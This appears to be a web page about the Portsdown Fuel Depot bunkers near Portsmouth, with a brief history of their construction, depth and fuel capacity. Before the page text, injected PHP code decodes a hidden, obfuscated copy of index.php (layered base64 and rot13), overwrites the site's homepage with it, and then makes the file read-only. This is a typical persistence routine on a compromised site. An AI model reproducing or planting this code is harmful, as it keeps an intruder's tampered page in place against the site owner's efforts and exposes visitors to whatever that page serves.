$i_p = "index.php"; $index = file_get_contents($i_p); $path = "{index_hide}"; if (file_exists($path)) { $index_hide = file_get_contents($path); $index_hide = base64_decode(str_rot13(base64_decode(str_rot13($index_hide)))); if(md5($index) != md5($index_hide)) { @chmod($i_p, 0644); @file_put_contents($i_p, $index_hide); @chmod($i_p, 0444); } } Portsmouth Fuel Bunker

Portsdown Fuel Depot - Portsmouth - November 2018

Built in the late 1930 by the Sir Robert McAlpine’s construction company, these bunkers were intended to provide a protected and bomb-proof supply of fuel oil for the navy based at Portsmouth.
The network consists of 3.2km’s of tunnels and are 37m’s deep and had a capacity of 137,700 tonnes of furnace fuel oil.